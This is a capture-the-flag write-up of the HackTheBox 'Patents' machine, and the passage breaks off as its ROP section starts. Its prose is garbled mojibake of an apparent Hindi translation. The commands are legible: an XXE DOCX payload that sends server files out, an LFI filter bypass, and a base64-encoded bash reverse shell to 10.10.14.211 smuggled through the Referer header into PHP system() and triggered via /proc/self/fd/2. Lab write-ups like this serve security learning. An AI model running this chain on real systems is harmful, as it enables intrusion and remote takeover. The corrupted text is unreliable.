HackTheBoxред рдкрд╛рд╕рд┐рдВрдЧ рдкреЗрдЯреЗрдВрдЯреНрд╕ред XXE DOCX, LFI рд╕реЗ RCE, GIT рдФрд░ ROP- рдЪреЗрди рдлрд╛рдЗрд▓реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ

рдЫрд╡рд┐

рдореИрдВ HackTheBox рд╕рд╛рдЗрдЯ рд╕реЗ рдЖрдЧреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рднреЗрдЬреЗ рдЧрдП рд╕рдорд╛рдзрд╛рди рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░рдирд╛ рдЬрд╛рд░реА рд░рдЦрддрд╛ рд╣реВрдВ ред

рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рд╣рдо DOCX рджрд╕реНрддрд╛рд╡реЗрдЬреЛрдВ рдХреЛ рдкреАрдбреАрдПрдл рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП XXE рдХреА рд╕реЗрд╡рд╛ рдореЗрдВ рд╢реЛрд╖рдг рдХрд░рддреЗ рд╣реИрдВ, LCE рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ, GIT рдХреЗ рдЗрддрд┐рд╣рд╛рд╕ рдореЗрдВ рдЦреБрджрд╛рдИ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, pwntools рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ ROP рдЪреЗрди рдХреА рд░рдЪрдирд╛ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдПрдХ рдЫрд┐рдкреА рд╣реБрдИ рд░реВрдЯ рдлрд╝рд╛рдЗрд▓ рдкрд╛рддреЗ рд╣реИрдВред

рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рдХрд╛ рдХрдиреЗрдХреНрд╢рди рд╡реАрдкреАрдПрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реИред рдпрд╣ рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рдХрд┐рд╕реА рдХрд╛рд░реНрдп рдХрдВрдкреНрдпреВрдЯрд░ рдпрд╛ рдХрд┐рд╕реА рд╣реЛрд╕реНрдЯ рд╕реЗ рдХрдиреЗрдХреНрдЯ рди рдХрд░реЗрдВ рдЬрд╣рд╛рдВ рдЖрдкрдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рдбреЗрдЯрд╛ рдЙрдкрд▓рдмреНрдз рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдПрдХ рдирд┐рдЬреА рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдРрд╕реЗ рд▓реЛрдЧреЛрдВ рдХреЗ рд╕рд╛рде рд░рд╣рддреЗ рд╣реИрдВ рдЬреЛ рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирддреЗ рд╣реИрдВ :)

рд╕рдВрдЧрдардирд╛рддреНрдордХ рдЬрд╛рдирдХрд╛рд░реА
, , Telegram . , , .

. , - , .

рдЯреЛрд╣


рдЗрд╕ рдорд╢реАрди рдХрд╛ рдЖрдИрдкреА рдПрдбреНрд░реЗрд╕ 10.10.10.173 рд╣реИ, рдЬрд┐рд╕реЗ рдореИрдВ / etc / рдореЗрдЬрдмрд╛рдиреЛрдВ рдореЗрдВ рдЬреЛрдбрд╝рддрд╛ рд╣реВрдБред

10.10.10.173    patents.htb

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╣рдо рдЦреБрд▓реЗ рдмрдВрджрд░рдЧрд╛рд╣реЛрдВ рдХреЛ рд╕реНрдХреИрди рдХрд░рддреЗ рд╣реИрдВред рдЪреВрдВрдХрд┐ рдиреИрдореНрдк рдХреЗ рд╕рд╛рде рд╕рднреА рдмрдВрджрд░рдЧрд╛рд╣реЛрдВ рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ рдореЗрдВ рд▓рдВрдмрд╛ рд╕рдордп рд▓рдЧрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдореИрдВ рдЗрд╕реЗ рдкрд╣рд▓реЗ рдореИрд╕рдХреИрди рдХреЗ рд╕рд╛рде рдХрд░реВрдВрдЧрд╛ред рд╣рдо рдкреНрд░рддрд┐ рд╕реЗрдХрдВрдб 500 рдкреИрдХреЗрдЯ рдХреА рдЧрддрд┐ рд╕реЗ tun0 рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рд╕реЗ рд╕рднреА рдЯреАрд╕реАрдкреА рдФрд░ рдпреВрдбреАрдкреА рдкреЛрд░реНрдЯ рдХреЛ рд╕реНрдХреИрди рдХрд░рддреЗ рд╣реИрдВред

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.173 --rate=500

рдЫрд╡рд┐

рдЕрдм, рдмрдВрджрд░рдЧрд╛рд╣реЛрдВ рдкрд░ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓реА рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП, рд╣рдо -рдП рд╡рд┐рдХрд▓реНрдк рдХреЗ рд╕рд╛рде рдПрдХ рд╕реНрдХреИрди рдЪрд▓рд╛рдПрдВрдЧреЗред

nmap -A patents.htb -p22,80,8888

рдЫрд╡рд┐

рд╣реЛрд╕реНрдЯ SSH рд╕реЗрд╡рд╛рдУрдВ рдФрд░ Apache рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреЛ рдЪрд▓рд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдкреЛрд░реНрдЯ 8888 рдПрдХ рдЕрддреБрд▓рдиреАрдп рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП рдЖрд░рдХреНрд╖рд┐рдд рд╣реИред рд╡реЗрдм рджреЗрдЦрддреЗ рд╣реИрдВред

рдЫрд╡рд┐

DOCX рджрд╕реНрддрд╛рд╡реЗрдЬреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рд╛рдЗрдЯ рдХрд╛ рдбрд╛рдЙрдирд▓реЛрдб рдлреЙрд░реНрдо рд╣реИред

рдЫрд╡рд┐

XXE DOCX


рдмрдпрд╛рди рдХреЗ рдЕрдиреБрд╕рд╛рд░, рд╣рдорд╛рд░реЗ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЛ рдкреАрдбреАрдПрдл рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдпрд╣ XXE рдХреЗ рд╡рд┐рдЪрд╛рд░ рдХрд╛ рд╕реБрдЭрд╛рд╡ рджреЗрддрд╛ рд╣реИред рдореИрдВрдиреЗ рдпрд╣рд╛рдВ рд╕реЗ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд▓рд┐рдпрд╛ ред

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рд╣реЛрд╕реНрдЯ рджреВрд░рд╕реНрде рд╕рд░реНрд╡рд░ рд╕реЗ xml рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдЧрд╛ред рдЗрд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдХреЗ, рд╡рд╣ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдП рдЧрдП xml рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рдХреЛ рдкрдврд╝реЗрдЧрд╛, рдЗрд╕реЗ рдмреЗрд╕ 64 рдореЗрдВ рдПрдирдХреЛрдб рдХрд░реЗрдЧрд╛ рдФрд░ рдПрдХ рдЕрдиреБрд░реЛрдз рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдиреНрдХреЛрдбреЗрдб рдлрд╝рд╛рдЗрд▓ рдХреЛ рдкрд╛рд╕ рдХрд░рддреЗ рд╣реБрдП, рдлрд┐рд░ рд╕реЗ рд╣рдорд╛рд░реЗ рд╕рд░реНрд╡рд░ рд╕реЗ рд╕рдВрдкрд░реНрдХ рдХрд░реЗрдЧрд╛ред рдпрд╣реА рд╣реИ, рдЗрд╕ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдбреАрдХреЛрдб рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдореЗрдВ рд░рд┐рдореЛрдЯ рдорд╢реАрди рд╕реЗ рдлрд╛рдЗрд▓ рдорд┐рд▓рддреА рд╣реИред

рд▓реЗрдХрд┐рди рдЗрд╕ рд▓реЛрдб рдХреЛ рд╢рдмреНрдж / рдбреЙрдХреНрдпреВрдореЗрдВрдЯ.рдПрдХреНрд╕рдПрдордПрд▓ рдкрде рдкрд░ рдирд╣реАрдВ рд░рдЦрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЪреВрдВрдХрд┐ рдУрдкрдирдПрдХреНрд╕рдПрдордПрд▓ рдПрд╕рдбреАрдХреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдпрд╣ рдпрд╣рд╛рдБ рдФрд░ рдпрд╣рд╛рдБ рд╕реЗ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реИ, рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рд╡рд░реНрдб / рдбреЙрдХреНрдпреВрдореЗрдВрдЯ.рдПрдХреНрд╕рдПрдордПрд▓, рдФрд░ рдХрд╕реНрдЯрдордПрдХреНрд╕рдПрдордПрд▓ / рдЖрдЗрдЯрдо 1.xml рдореЗрдВ рдбреЗрдЯрд╛ рдХреА рдЦреЛрдЬ рдХрд░реЗрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рд▓реЛрдб рдХреЛ рд╡рд╣рд╛рдВ рд░рдЦрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред

рдЖрдЗрдП рдПрдХ рдбреЙрдХреНрд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдмрдирд╛рдПрдВ рдФрд░ рдЗрд╕реЗ рдЬрд╝рд┐рдк рд╕рдВрдЧреНрд░рд╣ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдирдЬрд╝рд┐рдк рдХрд░реЗрдВред рдЙрд╕рдХреЗ рдмрд╛рдж, customXML рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдмрдирд╛рдПрдВ рдФрд░ рдЙрд╕рдореЗрдВ item1.xml рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдВред рдЗрд╕рдореЗрдВ рд╣рдо рдКрдкрд░ рдХреА рдЗрдореЗрдЬ рд╕реЗ рдХреЛрдб рд▓рд┐рдЦреЗрдВрдЧреЗ, рдЖрдИрдкреА рдПрдбреНрд░реЗрд╕ рдХреЛ рдЕрдкрдиреЗ рд╣рд┐рд╕рд╛рдм рд╕реЗ рдмрджрд▓реЗрдВрдЧреЗред рдФрд░ рд╣рдо рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЛ рд╡рд╛рдкрд╕ рд╕рдВрдЧреНрд░рд╣рд┐рдд рдХрд░рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдЕрдм рд╕реНрдерд╛рдиреАрдп рд╡реЗрдм рд╕рд░реНрд╡рд░ рдЪрд▓рд╛рдПрдВред

python3 -m http.server 80

рдФрд░ рд╡рд░реНрддрдорд╛рди рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд╣рдо рджреВрд╕рд░реА xml рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рддреЗ рд╣реИрдВ, рд╡рд╛рдВрдЫрд┐рдд рдлрд╝рд╛рдЗрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ / рдЖрджрд┐ / рдкрд╛рд╕рд╡рд╛рд░реНрдбред

рдЫрд╡рд┐

рдФрд░ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЛ рд╕рд░реНрд╡рд░ рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреЗ рд╕рд╛рде рдЪрд▓рдиреЗ рд╡рд╛рд▓реА рд╡рд┐рдВрдбреЛ рдореЗрдВ, рд╣рдо рд░рд┐рд╡рд░реНрд╕ рдХрдиреЗрдХреНрд╢рди рджреЗрдЦреЗрдВрдЧреЗред

рдЫрд╡рд┐

рдмреЗрд╕ 64 рдХреЛ рдбрд┐рдХреЛрдб рдХрд░реЗрдВ рдФрд░ рд╡рд╣ рдлрд╝рд╛рдЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рдЬрд┐рд╕рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рдЫрд╡рд┐

рдЗрд╕ рддрд░рд╣ рд╣рдо рд╕рд░реНрд╡рд░ рдкрд░ рдлрд╛рдЗрд▓ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдЗрдП рдЕрдкрд╛рдЪреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝реЗрдВред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, dtd.xml рдмрджрд▓реЗрдВ рдФрд░ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рдбрд╛рдЙрдирд▓реЛрдб рдХреЛ рджреЛрд╣рд░рд╛рдПрдВред

рдЫрд╡рд┐

рдЫрд╡рд┐

рдЗрд╕рд▓рд┐рдП рд╣рдо рдЙрд╕ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рд╕рд╛рдЗрдЯ рд╕реНрдерд┐рдд рд╣реИред рдЖрдЗрдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдХреЛ рдкрдврд╝рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред

рдЫрд╡рд┐

рдЫрд╡рд┐

рдФрд░ рдЯрд┐рдкреНрдкрдгреА рдХрд╣рддреА рд╣реИ рдХрд┐ рднреЗрджреНрдпрддрд╛ рдХреЗ рдХрд╛рд░рдг рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо рдмрджрд▓ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рд╣рдо рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рдЗрд╕реЗ рдкреЗрдЯреЗрдВрдЯ . htb / getPatent_alphav1.0.php рд╕рдВрджрд░реНрднрд┐рдд рдХрд░реЗрдВрдЧреЗ ред

рдЫрд╡рд┐

рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рдЬрд╛рдиреЗ рдФрд░ рдкрде рдХреЛ рдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП ../../../../../etc/passwd рдЖрдИрдбреА рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ, "../" рдХреА рд╕рднреА рдШрдЯрдирд╛рдПрдВ рд╣рдорд╛рд░реА рд▓рд╛рдЗрди рд╕реЗ рд╣рдЯрд╛ рджреА рдЬрд╛рдПрдВрдЧреАред рдЖрдЗрдП рдкреНрд░рддреНрдпреЗрдХ рдкрдВрдХреНрддрд┐ "../" рдХреЛ "... / /" рд╕реЗ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдХрд┐рд╕реА рдЕрдиреБрдХреНрд░рдо рдХреЛ рд╣рдЯрд╛рддреЗ рд╕рдордп, "../" рдЕрднреА рднреА рдмрдирд╛ рд░рд╣реЗрдЧрд╛ред

рдЫрд╡рд┐

рдФрд░ рд╣рдо LFI рдкрд╛рддреЗ рд╣реИрдВред

рдкреНрд░рд╡реЗрд╢ рдмрд┐рдВрджреБ


рдЖрдЗрдП рдЗрд╕рд╕реЗ рдЖрд░рд╕реАрдИ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред рд╕рдЪ рдХрд╣реВрдБ - рдпрд╣ рдореБрд╢реНрдХрд┐рд▓ рдерд╛ред рддрдереНрдп рдпрд╣ рд╣реИ рдХрд┐ рдЗрд╕ рддрд░рд╣ рдХреЗ рдПрдХ рджрд╕реНрддрд╛рд╡реЗрдЬ рднреЗрдЬрддреЗ рд╕рдордп, рд╣рдореЗрдВ рдкреАрдбреАрдПрдл рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рд╕реНрддрд╛рд╡ рдирд╣реАрдВ рдорд┐рд▓рд╛ред рдЕрд░реНрдерд╛рддреН, рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ 2 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ (рдкрд╛рда рд░реВрдк рдореЗрдВ рдиреИрджрд╛рдирд┐рдХ тАЛтАЛрдФрд░ рдбреАрдмрдЧ рд╕рдВрджреЗрд╢ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП)ред рдФрд░ рд╣рдо рдЙрд╕рдХреА рдУрд░ рд░реБрдЦ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдЗрдП рдмреЗрд╕ 64 рдореЗрдВ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдХреЛ рдПрдирдХреЛрдб рдХрд░реЗрдВ:

/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.211/4321 0>&1;'
L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn

рд╣рдо рдЗрд╕реЗ рдбреАрдХреЛрдб рдХрд░реЗрдВрдЧреЗ рдФрд░ рдЗрд╕реЗ php рдореЗрдВ рд╕рд┐рд╕реНрдЯрдо рдлрдВрдХреНрд╢рди рдореЗрдВ рдкрд╛рд╕ рдХрд░реЗрдВрдЧреЗред рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░рддреЗ рд╕рдордп HTTP рд╣реЗрдбрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХреЛрдб рдХреЛ рдкрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВред

curl http://patents.htb/convert.php -F "userfile=@file.docx" -F 'submit=Generate PDF' --referer 'http://test.com/<?php system(base64_decode("L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn")); ?>'

рдиреЗрдЯрдХреИрдЯ рдЪрд▓рд╛рдПрдВред

nc -lvp 4321

рдФрд░ рдЕрдм рджреВрд╕рд░реЗ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рдХреА рдУрд░ рдореБрдбрд╝рддреЗ рд╣реИрдВред

curl http://patents.htb/getPatent_alphav1.0.php?id=....//....//....//....//....//....//....//proc//self//fd//2

рд╣рдо рд╡рд╛рдкрд╕ рдЬреБрдбрд╝ рдЬрд╛рддреЗ рд╣реИрдВред

рдЬрдбрд╝ рез


рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рд▓реЛрдб рдХрд░реЗрдВ рд▓рд┐рдиреЗрдкрд┐рд╕ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рдХрд╛ рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рд╣рдо рдПрдХ рдбреЙрдХрдЯрд░ рдХрдВрдЯреЗрдирд░ рдореЗрдВ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рд╣рдо рд╣реИрд╢ рднреА рдкрд╛рддреЗ рд╣реИрдВред рд▓реЗрдХрд┐рди рд╣реИрдХрд┐рдВрдЧ, рд╣рдо рдХреБрдЫ рдирд╣реАрдВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдЫрд╡рд┐

рдЗрд╕рд▓рд┐рдП, рдЪрд▓ рд░рд╣реА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдЯреНрд░реИрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП pspy64 рдЪрд▓рд╛рдПрдВ ред рдФрд░ рд╣рдо рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЫрд╡рд┐

рдФрд░ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдЗрд╕ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рджрд░реНрдЬ рдХрд░рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдмрджрд▓реЗрдВред

рдЫрд╡рд┐

рдЬрдбрд╝ реи


рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреНрдпрд╛ рдХрд░рддреА рд╣реИред

рдЫрд╡рд┐

рдЫрд╡рд┐

рд╣рдореЗрдВ рдХреБрдЫ lfmserver рдкрд░ рдПрдХ рдЯрд┐рдк рдорд┐рд▓рддреА рд╣реИ, рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рднреА рдмрдЪрд╛рддреЗ рд╣реИрдВред рдЖрдЗрдП рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рджреЗрдЦреЗрдВ lfm рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣рд░ рдЪреАрдЬ рдХреЗ рд▓рд┐рдПред

рдЫрд╡рд┐

рдФрд░ рд╣рдо рдЗрд╕ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдЧрд┐рдЯ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдкрд╛рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдЪрд▓реЛ рдЗрд╕ рднрдВрдбрд╛рд░ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдЖрдЗрдП рдмрджрд▓рд╛рд╡реЛрдВ рдХрд╛ рдЗрддрд┐рд╣рд╛рд╕ рджреЗрдЦреЗрдВред

рдЫрд╡рд┐

рдЖрдЗрдП рдмрджрд▓рд╛рд╡реЛрдВ рдХрд╛ рдЗрддрд┐рд╣рд╛рд╕ рджреЗрдЦреЗрдВред рдЗрд╕рд▓рд┐рдП рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рддрдкрд╕реНрдпрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдФрд░ рд╡рд┐рд╡рд░рдг рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рдерд╛, рдФрд░ рдЖрдЦрд┐рд░реА рдореЗрдВ, рдЙрдиреНрд╣реЗрдВ рдкрд╣рд▓реЗ рд╣реА рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╣рдЯрд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд╡рд╛рдкрд╕ рд░реЛрд▓ рдХрд░рддреЗ рд╣реИрдВред

git revert 7c6609240f414a2cb8af00f75fdc7cfbf04755f5

рдФрд░ рд╣рдорд╛рд░реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдФрд░ рд╡рд┐рд╡рд░рдг рджрд┐рдЦрд╛рдИ рджрд┐рдпрд╛ред

рдЫрд╡рд┐

рдЫрд╡рд┐

рдпрд╣рд╛рдВ рдореИрдВ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЙрд▓рдЯрдирд╛ рд╢реБрд░реВ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рдерд╛, рд▓реЗрдХрд┐рди - рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рдЧрд┐рдЯ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рд╣реИ! рдореБрдЭреЗ рдПрдХ рдХрдорд┐рдЯ рдорд┐рд▓реА рдЬрд┐рд╕рдореЗрдВ рд╕реНрд░реЛрдд рдХреЛрдб рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдерд╛ред

рдЫрд╡рд┐

рдФрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╣реИрдВред

git checkout 0ac7c940010ebb22f7fbedb67ecdf67540728123

рдЙрд╕рдХреЗ рдмрд╛рдж рд╣рдо рд╕реЛрд░реНрд╕ рдХреЛрдб рдСрдл рдЗрдВрдЯрд░реЗрд╕реНрдЯ, рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдФрд░ рд╕реНрдерд╛рдиреАрдп рдорд╢реАрди рдХреЛ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВред

Rop


рд╣рдореЗрдВ рдХрд╛рд░реНрдпрдХреНрд░рдо рдореЗрдВ рднреЗрджреНрдпрддрд╛ рдХреЛ рдЦреЛрдЬрдиреЗ рдФрд░ рдЙрд╕рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдорджрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд░реЛрдд рдХреЛрдб рд╣реИрдВред рдЖрдЗрдП рдПрдХ рдмрд╛рдЗрдирд░реА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред

рдЫрд╡рд┐

